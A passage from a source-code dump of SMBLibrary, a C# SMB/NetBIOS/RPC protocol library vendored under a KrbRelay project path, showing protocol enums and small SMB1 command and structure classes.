MAXIMUM_ALLOWED = 0x02000000, 28 | GENERIC_ALL = 0x10000000, 29 | GENERIC_EXECUTE = 0x20000000, 30 | GENERIC_WRITE = 0x40000000, 31 | GENERIC_READ = 0x80000000, 32 | } 33 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/NTFileStore/Enums/AccessMask/FileAccessMask.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary 4 | { 5 | /// 6 | /// [MS-SMB] 2.2.1.4.1 - File_Pipe_Printer_Access_Mask 7 | /// [MS-SMB2] 2.2.13.1.1 - File_Pipe_Printer_Access_Mask 8 | /// 9 | [Flags] 10 | public enum FileAccessMask : uint 11 | { 12 | FILE_READ_DATA = 0x00000001, 13 | FILE_WRITE_DATA = 0x00000002, 14 | FILE_APPEND_DATA = 0x00000004, 15 | FILE_READ_EA = 0x00000008, 16 | FILE_WRITE_EA = 0x00000010, 17 | FILE_EXECUTE = 0x00000020, 18 | FILE_READ_ATTRIBUTES = 0x00000080, 19 | FILE_WRITE_ATTRIBUTES = 0x00000100, 20 | DELETE = 0x00010000, 21 | READ_CONTROL = 0x00020000, 22 | WRITE_DAC = 0x00040000, 23 | WRITE_OWNER = 0x00080000, 24 | SYNCHRONIZE = 0x00100000, 25 | ACCESS_SYSTEM_SECURITY = 0x01000000, 26 | MAXIMUM_ALLOWED = 0x02000000, 27 | GENERIC_ALL = 0x10000000, 28 | GENERIC_EXECUTE = 0x20000000, 29 | GENERIC_WRITE = 0x40000000, 30 | GENERIC_READ = 0x80000000, 31 | } 32 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/NTFileStore/Enums/FileInformation/CompressionFormat.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary 2 | { 3 | public enum CompressionFormat : ushort 4 | { 5 | COMPRESSION_FORMAT_NONE = 0x0000, 6 | COMPRESSION_FORMAT_DEFAULT = 0x0001, 7 | COMPRESSION_FORMAT_LZNT1 = 0x0002, 8 | } 9 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/NTFileStore/Enums/FileInformation/ExtendedAttributeFlags.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary 4 | { 5 | [Flags] 6 | public enum ExtendedAttributeFlags : byte 7 | { 8 | FILE_NEED_EA = 0x80, 9 | } 10 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/NTFileStore/Enums/FileSystemInformation/DeviceCharacteristics.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary 4 | { 5 | [Flags] 6 | public enum DeviceCharacteristics : uint 7 | { 8 | RemovableMedia = 0x0001, // FILE_REMOVABLE_MEDIA 9 | ReadOnlyDevice = 0x0002, // FILE_READ_ONLY_DEVICE 10 | FloppyDiskette = 0x0004, // FILE_FLOPPY_DISKETTE 11 | WriteOnceMedia = 0x0008, // FILE_WRITE_ONCE_MEDIA 12 | RemoteDevice = 0x0010, // FILE_REMOTE_DEVICE 13 | IsMounted = 0x0020, // FILE_DEVICE_IS_MOUNTED 14 | VirtualVolume = 0x0040, // FILE_VIRTUAL_VOLUME 15 | } 16 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/NTFileStore/Enums/FileSystemInformation/FileSystemControlFlags.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary 2 | { 3 | public enum FileSystemControlFlags : uint 4 | { 5 | QuotaTrack = 0x00000001, // FILE_VC_QUOTA_TRACK 6 | QuotaEnforce = 0x00000002, // FILE_VC_QUOTA_ENFORCE 7 | ContentIndexingDisabled = 0x00000008, // FILE_VC_CONTENT_INDEX_DISABLED 8 | LogQuotaThreshold = 0x00000010, // FILE_VC_LOG_QUOTA_THRESHOLD 9 | LogQuotaLimit = 0x00000020, // FILE_VC_LOG_QUOTA_LIMIT 10 | LogVolumeThreshold = 0x00000040, // FILE_VC_LOG_VOLUME_THRESHOLD 11 | LogVolumeLimit = 0x00000080, // FILE_VC_LOG_VOLUME_LIMIT 12 | QuotasIncomplete = 0x00000100, // FILE_VC_QUOTAS_INCOMPLETE 13 | QuotasRebuilding = 0x00000200, // FILE_VC_QUOTAS_REBUILDING 14 | } 15 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/NTFileStore/Enums/FileSystemInformation/FileSystemInformationClass.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary 2 | { 3 | /// 4 | /// [MS-FSCC] 2.5 - File System Information Classes 5 | /// 6 | public enum FileSystemInformationClass : byte 7 | { 8 | FileFsVolumeInformation = 0x01, // Uses: Query 9 | FileFsLabelInformation = 0x02, 10 | FileFsSizeInformation = 0x03, // Uses: Query 11 | FileFsDeviceInformation = 0x04, // Uses: Query 12 | FileFsAttributeInformation = 0x05, // Uses: Query 13 | FileFsControlInformation = 0x06, // Uses: Query, Set 14 | FileFsFullSizeInformation = 0x07, // Uses: Query 15 | FileFsObjectIdInformation = 0x08, // Uses: Query, Set 16 | FileFsDriverPathInformation = 0x09, 17 | FileFsVolumeFlagsInformation = 0x0A, 18 | FileFsSectorSizeInformation = 0x0B, // Uses: Query 19 | } 20 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/NTFileStore/Enums/FileSystemInformation/SectorSizeInformationFlags.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary 4 | { 5 | [Flags] 6 | public enum SectorSizeInformationFlags : uint 7 | { 8 | AlignedDevice = 0x00000001, // SSINFO_FLAGS_ALIGNED_DEVICE 9 | PartitionAlignedOnDevice = 0x00000002, // SSINFO_FLAGS_PARTITION_ALIGNED_ON_DEVICE 10 | NoSeekPenalty = 0x0000004, // SSINFO_FLAGS_NO_SEEK_PENALTY 11 | TrimEnabled = 0x00000008, // SSINFO_FLAGS_TRIM_ENABLED 12 | } 13 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/NTFileStore/Enums/NotifyChangeFilter.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary 4 | { 5 | [Flags] 6 | public enum NotifyChangeFilter : uint 7 | { 8 | FileName = 0x0000001, // FILE_NOTIFY_CHANGE_FILE_NAME 9 | DirName = 0x0000002, // FILE_NOTIFY_CHANGE_DIR_NAME 10 | Attributes = 0x0000004, // FILE_NOTIFY_CHANGE_ATTRIBUTES 11 | Size = 0x0000008, // FILE_NOTIFY_CHANGE_SIZE 12 | LastWrite = 0x000000010, // FILE_NOTIFY_CHANGE_LAST_WRITE 13 | LastAccess = 0x00000020, // FILE_NOTIFY_CHANGE_LAST_ACCESS 14 | Creation = 0x00000040, // FILE_NOTIFY_CHANGE_CREATION 15 | EA = 0x00000080, // FILE_NOTIFY_CHANGE_EA 16 | Security = 0x00000100, // FILE_NOTIFY_CHANGE_SECURITY 17 | StreamName = 0x00000200, // FILE_NOTIFY_CHANGE_STREAM_NAME 18 | StreamSize = 0x00000400, // FILE_NOTIFY_CHANGE_STREAM_SIZE 19 | StreamWrite = 0x00000800, // FILE_NOTIFY_CHANGE_STREAM_WRITE 20 | } 21 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/NTFileStore/Enums/NtCreateFile/FileStatus.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary 2 | { 3 | public enum FileStatus : uint 4 | { 5 | FILE_SUPERSEDED = 0x00000000, 6 | FILE_OPENED = 0x00000001, 7 | FILE_CREATED = 0x00000002, 8 | FILE_OVERWRITTEN = 0x00000003, 9 | FILE_EXISTS = 0x00000004, 10 | FILE_DOES_NOT_EXIST = 0x00000005, 11 | } 12 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/NTFileStore/Enums/NtCreateFile/ShareAccess.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary 4 | { 5 | /// 6 | /// No bits set = Prevents the file from being shared 7 | /// 8 | [Flags] 9 | public enum ShareAccess : uint 10 | { 11 | None = 0x00000000, // FILE_SHARE_NONE 12 | Read = 0x00000001, // FILE_SHARE_READ 13 | Write = 0x00000002, // FILE_SHARE_WRITE 14 | Delete = 0x00000004, // FILE_SHARE_DELETE 15 | } 16 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/NTFileStore/Enums/SecurityInformation/ImpersonationLevel.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary 2 | { 3 | /// 4 | /// https://msdn.microsoft.com/en-us/library/windows/desktop/aa379572(v=vs.85).aspx 5 | /// https://msdn.microsoft.com/en-us/library/windows/hardware/ff556631(v=vs.85).aspx 6 | /// 7 | public enum ImpersonationLevel : uint 8 | { 9 | Anonymous = 0x00000000, // SECURITY_ANONYMOUS 10 | Identification = 0x00000001, // SECURITY_IDENTIFICATION 11 | Impersonation = 0x00000002, // SECURITY_IMPERSONATION 12 | Delegation = 0x00000003, // SECURITY_DELEGATION (This impersonation level is supported starting with Windows 2000) 13 | } 14 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/NTFileStore/Enums/SecurityInformation/SecurityInformation.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary 4 | { 5 | /// 6 | /// [MS-DTYP] 2.4.7 - SECURITY_INFORMATION 7 | /// 8 | [Flags] 9 | public enum SecurityInformation : uint 10 | { 11 | OWNER_SECURITY_INFORMATION = 0x00000001, 12 | GROUP_SECURITY_INFORMATION = 0x00000002, 13 | DACL_SECURITY_INFORMATION = 0x00000004, 14 | SACL_SECURITY_INFORMATION = 0x00000008, 15 | LABEL_SECURITY_INFORMATION = 0x00000010, 16 | ATTRIBUTE_SECURITY_INFORMATION = 0x00000020, 17 | SCOPE_SECURITY_INFORMATION = 0x00000040, 18 | BACKUP_SECURITY_INFORMATION = 0x00010000, 19 | } 20 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/NTFileStore/FileHandle.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2014-2020 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | using System.IO; 9 | 10 | namespace SMBLibrary 11 | { 12 | public class FileHandle 13 | { 14 | public string Path; 15 | public bool IsDirectory; 16 | public Stream Stream; 17 | public bool DeleteOnClose; 18 | 19 | public FileHandle(string path, bool isDirectory, Stream stream, bool deleteOnClose) 20 | { 21 | Path = path; 22 | IsDirectory = isDirectory; 23 | Stream = stream; 24 | DeleteOnClose = deleteOnClose; 25 | } 26 | } 27 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/NTFileStore/Structures/FileInformation/Query/FileAlternateNameInformation.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2017 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | namespace SMBLibrary 9 | { 10 | /// 11 | /// [MS-FSCC] 2.4.5 - FileAlternateNameInformation 12 | /// 13 | public class FileAlternateNameInformation : FileNameInformation 14 | { 15 | public FileAlternateNameInformation() : base() 16 | { 17 | } 18 | 19 | public FileAlternateNameInformation(byte[] buffer, int offset) : base(buffer, offset) 20 | { 21 | } 22 | 23 | public override FileInformationClass FileInformationClass 24 | { 25 | get 26 | { 27 | return FileInformationClass.FileAlternateNameInformation; 28 | } 29 | } 30 | } 31 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/NTFileStore/Structures/SecurityInformation/ACE/Enums/AceFlags.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary 4 | { 5 | [Flags] 6 | public enum AceFlags : byte 7 | { 8 | OBJECT_INHERIT_ACE = 0x01, 9 | CONTAINER_INHERIT_ACE = 0x02, 10 | NO_PROPAGATE_INHERIT_ACE = 0x04, 11 | INHERIT_ONLY_ACE = 0x08, 12 | INHERITED_ACE = 0x10, 13 | SUCCESSFUL_ACCESS_ACE_FLAG = 0x40, 14 | FAILED_ACCESS_ACE_FLAG = 0x80, 15 | } 16 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/NTFileStore/Structures/SecurityInformation/ACE/Enums/AceType.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary 2 | { 3 | public enum AceType : byte 4 | { 5 | ACCESS_ALLOWED_ACE_TYPE = 0x00, 6 | ACCESS_DENIED_ACE_TYPE = 0x01, 7 | SYSTEM_AUDIT_ACE_TYPE = 0x02, 8 | SYSTEM_ALARM_ACE_TYPE = 0x03, 9 | ACCESS_ALLOWED_COMPOUND_ACE_TYPE = 0x04, 10 | ACCESS_ALLOWED_OBJECT_ACE_TYPE = 0x05, 11 | ACCESS_DENIED_OBJECT_ACE_TYPE = 0x06, 12 | SYSTEM_AUDIT_OBJECT_ACE_TYPE = 0x07, 13 | SYSTEM_ALARM_OBJECT_ACE_TYPE = 0x08, 14 | ACCESS_ALLOWED_CALLBACK_ACE_TYPE = 0x09, 15 | ACCESS_DENIED_CALLBACK_ACE_TYPE = 0x0A, 16 | ACCESS_ALLOWED_CALLBACK_OBJECT_ACE_TYPE = 0x0B, 17 | ACCESS_DENIED_CALLBACK_OBJECT_ACE_TYPE = 0x0C, 18 | SYSTEM_AUDIT_CALLBACK_ACE_TYPE = 0x0D, 19 | SYSTEM_ALARM_CALLBACK_ACE_TYPE = 0x0E, 20 | SYSTEM_AUDIT_CALLBACK_OBJECT_ACE_TYPE = 0x0F, 21 | SYSTEM_ALARM_CALLBACK_OBJECT_ACE_TYPE = 0x10, 22 | SYSTEM_MANDATORY_LABEL_ACE_TYPE = 0x11, 23 | SYSTEM_RESOURCE_ATTRIBUTE_ACE_TYPE = 0x12, 24 | SYSTEM_SCOPED_POLICY_ID_ACE_TYPE = 0x13, 25 | } 26 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/NetBios/NameServicePackets/Enums/NameRecordType.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.NetBios 2 | { 3 | public enum NameRecordType : ushort 4 | { 5 | NB = 0x0020, 6 | NBStat = 0x0021, 7 | } 8 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/NetBios/NameServicePackets/Enums/NameServiceOperation.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.NetBios 2 | { 3 | public enum NameServiceOperation : byte 4 | { 5 | QueryRequest = 0x00, 6 | RegistrationRequest = 0x05, 7 | ReleaseRequest = 0x06, 8 | WackRequest = 0x07, 9 | RefreshRequest = 0x08, 10 | QueryResponse = 0x10, 11 | RegistrationResponse = 0x15, 12 | ReleaseResponse = 0x16, 13 | WackResponse = 0x17, 14 | RefreshResponse = 0x18, 15 | } 16 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/NetBios/NameServicePackets/Enums/NetBiosSuffix.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.NetBios 2 | { 3 | /// 4 | /// 16th character suffix for netbios name. 5 | /// see http://support.microsoft.com/kb/163409/en-us 6 | /// 7 | public enum NetBiosSuffix : byte 8 | { 9 | WorkstationService = 0x00, 10 | MessengerService = 0x03, 11 | DomainMasterBrowser = 0x1B, 12 | MasterBrowser = 0x1D, 13 | BrowserServiceElections = 0x1E, 14 | FileServiceService = 0x20, 15 | } 16 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/NetBios/NameServicePackets/Enums/OperationFlags.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary.NetBios 4 | { 5 | /// 6 | /// [RFC 1002] 4.2.1.1. HEADER 7 | /// 8 | [Flags] 9 | public enum OperationFlags : byte 10 | { 11 | Broadcast = 0x01, 12 | RecursionAvailable = 0x08, 13 | RecursionDesired = 0x10, 14 | Truncated = 0x20, 15 | AuthoritativeAnswer = 0x40, 16 | } 17 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/NetBios/NameServicePackets/Enums/QuestionClass.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.NetBios 2 | { 3 | public enum QuestionClass : ushort 4 | { 5 | In = 0x0001, 6 | } 7 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/NetBios/NameServicePackets/Enums/ResourceRecordClass.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.NetBios 2 | { 3 | public enum ResourceRecordClass : ushort 4 | { 5 | In = 0x0001, 6 | } 7 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/NetBios/SessionPackets/Enums/SessionPacketTypeName.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2014 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | namespace SMBLibrary.NetBios 9 | { 10 | /// 11 | /// [RFC 1002] 4.2.1.1. HEADER 12 | /// 13 | public enum SessionPacketTypeName : byte 14 | { 15 | SessionMessage = 0x00, 16 | SessionRequest = 0x81, 17 | PositiveSessionResponse = 0x82, 18 | NegativeSessionResponse = 0x83, 19 | RetargetSessionResponse = 0x84, 20 | SessionKeepAlive = 0x85, 21 | } 22 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/NetBios/SessionPackets/SessionMessagePacket.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2014-2017 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | namespace SMBLibrary.NetBios 9 | { 10 | /// 11 | /// [RFC 1002] 4.3.6. SESSION MESSAGE PACKET 12 | /// 13 | public class SessionMessagePacket : SessionPacket 14 | { 15 | public SessionMessagePacket() : base() 16 | { 17 | this.Type = SessionPacketTypeName.SessionMessage; 18 | } 19 | 20 | public SessionMessagePacket(byte[] buffer, int offset) : base(buffer, offset) 21 | { 22 | } 23 | } 24 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/RPC/Enums/FaultStatus.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.RPC 2 | { 3 | public enum FaultStatus : uint 4 | { 5 | OpRangeError = 0x1C010002, // nca_op_rng_error 6 | UnknownInterface = 0x1C010003, // nca_unk_if 7 | RPCVersionMismatch = 0x1C000008, // nca_rpc_version_mismatch 8 | ProtocolError = 0x1C01000B, // nca_proto_error 9 | } 10 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/RPC/Enums/NegotiationResult.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.RPC 2 | { 3 | public enum NegotiationResult : ushort 4 | { 5 | Acceptance, 6 | UserRejection, 7 | ProviderRejection, 8 | 9 | /// 10 | /// Microsoft extension: 11 | /// [MS-RPCE] 2.2.2.4 - negotiate_ack 12 | /// 13 | NegotiateAck 14 | } 15 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/RPC/Enums/PacketFlags.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary.RPC 4 | { 5 | [Flags] 6 | public enum PacketFlags : byte 7 | { 8 | FirstFragment = 0x01, // PFC_FIRST_FRAG 9 | LastFragment = 0x02, // PFC_LAST_FRAG 10 | PendingCancel = 0x04, // PFC_PENDING_CANCEL 11 | ConcurrntMultiplexing = 0x10, // PFC_CONC_MPX 12 | DidNotExecute = 0x20, // PFC_DID_NOT_EXECUTE 13 | Maybe = 0x40, // PFC_MAYBE 14 | ObjectUUID = 0x80, // PFC_OBJECT_UUID 15 | } 16 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/RPC/Enums/PacketTypeName.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.RPC 2 | { 3 | // Commented out packet types are connectionless-only 4 | public enum PacketTypeName : byte 5 | { 6 | Request = 0x00, 7 | 8 | // Ping = 0x01, 9 | Response = 0x02, 10 | 11 | Fault = 0x03, 12 | 13 | //Working = 0x04, 14 | //NoCall = 0x05, 15 | //Reject = 0x06, 16 | //Ack = 0x07, 17 | //CLCancel = 0x08, // cl_cancel 18 | //FAck = 0x09, 19 | //CancelAck = 0x0A, // cancel_ack 20 | Bind = 0x0B, 21 | 22 | BindAck = 0x0C, 23 | BindNak = 0x0D, // bind_nak 24 | AlterContext = 0x0E, // alter_context 25 | AlterContextResponse = 0x0F, // alter_context_resp 26 | Shutdown = 0x11, 27 | COCancel = 0x12, // co_cancel 28 | Orphaned = 0x13, 29 | } 30 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/RPC/Enums/RejectionReason.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.RPC 2 | { 3 | public enum RejectionReason : ushort 4 | { 5 | NotSpecified, 6 | AbstractSyntaxNotSupported, 7 | ProposedTransferSyntaxesNotSupported, 8 | LocalLimitExceeded, 9 | } 10 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/RPC/NDR/INDRStructure.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2014 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | namespace SMBLibrary.RPC 9 | { 10 | /// 11 | /// Serializable Structure / Union / Array 12 | /// 13 | public interface INDRStructure 14 | { 15 | void Read(NDRParser parser); 16 | 17 | void Write(NDRWriter writer); 18 | } 19 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/RPC/NDR/NDRTypeName.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2014 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | namespace SMBLibrary.RPC 9 | { 10 | /// 11 | /// Primitive and construced types 12 | /// 13 | public enum NDRTypeName 14 | { 15 | UnicodeString, 16 | } 17 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/RPC/Structures/Version.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2017 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | using Utilities; 9 | 10 | namespace SMBLibrary.RPC 11 | { 12 | /// 13 | /// version_t 14 | /// 15 | public struct Version 16 | { 17 | public const int Length = 2; 18 | 19 | public byte Major; // major 20 | public byte Minor; // minor 21 | 22 | public Version(byte[] buffer, int offset) 23 | { 24 | Major = ByteReader.ReadByte(buffer, offset + 0); 25 | Minor = ByteReader.ReadByte(buffer, offset + 1); 26 | } 27 | 28 | public void WriteBytes(byte[] buffer, int offset) 29 | { 30 | ByteWriter.WriteByte(buffer, offset + 0, Major); 31 | ByteWriter.WriteByte(buffer, offset + 1, Minor); 32 | } 33 | } 34 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Commands/CheckDirectoryResponse.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2014 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | namespace SMBLibrary.SMB1 9 | { 10 | /// 11 | /// SMB_COM_CHECK_DIRECTORY Response 12 | /// 13 | public class CheckDirectoryResponse : SMB1Command 14 | { 15 | public CheckDirectoryResponse() : base() 16 | { 17 | } 18 | 19 | public CheckDirectoryResponse(byte[] buffer, int offset) : base(buffer, offset, false) 20 | { 21 | } 22 | 23 | public override byte[] GetBytes(bool isUnicode) 24 | { 25 | return base.GetBytes(isUnicode); 26 | } 27 | 28 | public override CommandName CommandName 29 | { 30 | get 31 | { 32 | return CommandName.SMB_COM_CHECK_DIRECTORY; 33 | } 34 | } 35 | } 36 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Commands/CloseResponse.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2014 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | namespace SMBLibrary.SMB1 9 | { 10 | /// 11 | /// SMB_COM_CLOSE Response 12 | /// 13 | public class CloseResponse : SMB1Command 14 | { 15 | public CloseResponse() : base() 16 | { } 17 | 18 | public CloseResponse(byte[] buffer, int offset) : base(buffer, offset, false) 19 | { } 20 | 21 | public override CommandName CommandName 22 | { 23 | get 24 | { 25 | return CommandName.SMB_COM_CLOSE; 26 | } 27 | } 28 | } 29 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Commands/CreateDirectoryResponse.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2014 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | namespace SMBLibrary.SMB1 9 | { 10 | /// 11 | /// SMB_COM_CREATE_DIRECTORY Response. 12 | /// This command is obsolete. 13 | /// This command is used by Windows NT4 SP6. 14 | /// 15 | public class CreateDirectoryResponse : SMB1Command 16 | { 17 | public CreateDirectoryResponse() : base() 18 | { 19 | } 20 | 21 | public CreateDirectoryResponse(byte[] buffer, int offset) : base(buffer, offset, false) 22 | { 23 | } 24 | 25 | public override CommandName CommandName 26 | { 27 | get 28 | { 29 | return CommandName.SMB_COM_CREATE_DIRECTORY; 30 | } 31 | } 32 | } 33 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Commands/DeleteDirectoryResponse.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2014 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | namespace SMBLibrary.SMB1 9 | { 10 | /// 11 | /// SMB_COM_DELETE_DIRECTORY Response 12 | /// 13 | public class DeleteDirectoryResponse : SMB1Command 14 | { 15 | public DeleteDirectoryResponse() : base() 16 | { 17 | } 18 | 19 | public DeleteDirectoryResponse(byte[] buffer, int offset) : base(buffer, offset, false) 20 | { 21 | } 22 | 23 | public override CommandName CommandName 24 | { 25 | get 26 | { 27 | return CommandName.SMB_COM_DELETE_DIRECTORY; 28 | } 29 | } 30 | } 31 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Commands/DeleteResponse.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2014 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | namespace SMBLibrary.SMB1 9 | { 10 | /// 11 | /// SMB_COM_DELETE Response 12 | /// 13 | public class DeleteResponse : SMB1Command 14 | { 15 | public DeleteResponse() : base() 16 | { 17 | } 18 | 19 | public DeleteResponse(byte[] buffer, int offset) : base(buffer, offset, false) 20 | { 21 | } 22 | 23 | public override byte[] GetBytes(bool isUnicode) 24 | { 25 | return base.GetBytes(isUnicode); 26 | } 27 | 28 | public override CommandName CommandName 29 | { 30 | get 31 | { 32 | return CommandName.SMB_COM_DELETE; 33 | } 34 | } 35 | } 36 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Commands/ErrorResponse.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2014 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | namespace SMBLibrary.SMB1 9 | { 10 | /// 11 | /// The Command trailer of an error response message. 12 | /// See [MS-CIFS]3.3.4.1.2 - Sending Any Error Response Message. 13 | /// 14 | public class ErrorResponse : SMB1Command 15 | { 16 | private CommandName m_commandName; 17 | 18 | public ErrorResponse(CommandName commandName) : base() 19 | { 20 | m_commandName = commandName; 21 | } 22 | 23 | public override CommandName CommandName 24 | { 25 | get 26 | { 27 | return m_commandName; 28 | } 29 | } 30 | } 31 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/Commands/FindClose2Request.cs: -------------------------------------------------------------------------------- 1 | using Utilities; 2 | 3 | namespace SMBLibrary.SMB1 4 | { 5 | /// 6 | /// SMB_COM_FIND_CLOSE2 Request 7 | /// 8 | public class FindClose2Request : SMB1Command 9 | { 10 | public const int ParameterCount = 2; 11 | 12 | // Parameters: 13 | public ushort SearchHandle; 14 | 15 | public FindClose2Request() : base() 16 | { 17 | } 18 | 19 | public FindClose2Request(byte[] buffer, int offset) : base(buffer, offset, false) 20 | { 21 | SearchHandle = 